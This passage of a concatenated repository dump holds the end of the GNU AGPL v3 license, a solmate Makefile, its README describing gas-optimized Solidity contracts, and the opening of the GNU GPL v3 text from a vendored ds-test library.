by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Remote Network Interaction; Use with the GNU General Public License.
Notwithstanding any other provision of this License, if you modify the
Program, your modified version must prominently offer all users
interacting with it remotely through a computer network (if your version
supports such interaction) an opportunity to receive the Corresponding
Source of your version by providing access to the Corresponding Source
from a network server at no charge, through some standard or customary
means of facilitating copying of software. This Corresponding Source
shall include the Corresponding Source for any work covered by version 3
of the GNU General Public License that is incorporated pursuant to the
following paragraph.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the work with which it is combined will remain governed by version
3 of the GNU General Public License.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU Affero General Public License from time to time. Such new versions
will be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU Affero General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU Affero General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU Affero General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If your software can interact with users remotely through a computer
network, you should also make sure that it provides a way for users to
get its source. For example, if your program is a web application, its
interface could display a "Source" link that leads users to an archive
of the code. There are many ways you could offer source, and different
solutions will be better for different programs; see section 13 for the
specific requirements.
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU AGPL, see
.
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/Makefile
================================================
all: solc install update
# Install proper solc version.
solc:; nix-env -f https://github.com/dapphub/dapptools/archive/master.tar.gz -iA solc-static-versions.solc_0_8_10
# Install npm dependencies.
install:; npm install
# Install dapp dependencies.
update:; dapp update
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/README.md
================================================
# solmate
**Modern**, **opinionated**, and **gas optimized** building blocks for **smart contract development**.
## Contracts
```ml
auth
├─ Auth — "Flexible and updatable auth pattern"
├─ authorities
│ ├─ RolesAuthority — "Role based Authority that supports up to 256 roles"
│ ├─ MultiRolesAuthority — "Flexible and target agnostic role based Authority"
mixins
├─ ERC4626 — "Minimal ERC4626 tokenized Vault implementation"
tokens
├─ WETH — "Minimalist and modern Wrapped Ether implementation"
├─ ERC20 — "Modern and gas efficient ERC20 + EIP-2612 implementation"
├─ ERC721 — "Modern, minimalist, and gas efficient ERC721 implementation"
├─ ERC1155 — "Minimalist and gas efficient standard ERC1155 implementation"
utils
├─ SSTORE2 - "Library for cheaper reads and writes to persistent storage"
├─ CREATE3 — "Deploy to deterministic addresses without an initcode factor"
├─ SafeCastLib - "Safe unsigned integer casting lib that reverts on overflow"
├─ ReentrancyGuard — "Gas optimized reentrancy protection for smart contracts"
├─ FixedPointMathLib — "Arithmetic library with operations for fixed-point numbers"
├─ Bytes32AddressLib — "Library for converting between addresses and bytes32 values"
├─ SafeTransferLib — "Safe ERC20/ETH transfer lib that handles missing return values"
```
## Safety
This is **experimental software** and is provided on an "as is" and "as available" basis.
While each [major release has been audited](audits), these contracts are **not designed with user safety** in mind:
- There are implicit invariants these contracts expect to hold.
- **You can easily shoot yourself in the foot if you're not careful.**
- You should thoroughly read each contract you plan to use top to bottom.
We **do not give any warranties** and **will not be liable for any loss** incurred through any use of this codebase.
## Installation
To install with [**DappTools**](https://github.com/dapphub/dapptools):
```sh
dapp install rari-capital/solmate
```
To install with [**Foundry**](https://github.com/gakonst/foundry):
```sh
forge install rari-capital/solmate
```
To install with [**Hardhat**](https://github.com/nomiclabs/hardhat) or [**Truffle**](https://github.com/trufflesuite/truffle):
```sh
npm install @rari-capital/solmate
```
## Acknowledgements
These contracts were inspired by or directly modified from many sources, primarily:
- [Gnosis](https://github.com/gnosis/gp-v2-contracts)
- [Uniswap](https://github.com/Uniswap/uniswap-lib)
- [Dappsys](https://github.com/dapphub/dappsys)
- [Dappsys V2](https://github.com/dapp-org/dappsys-v2)
- [0xSequence](https://github.com/0xSequence)
- [OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts)
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/ds-test/.gitignore
================================================
/.dapple
/build
/out
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/ds-test/LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
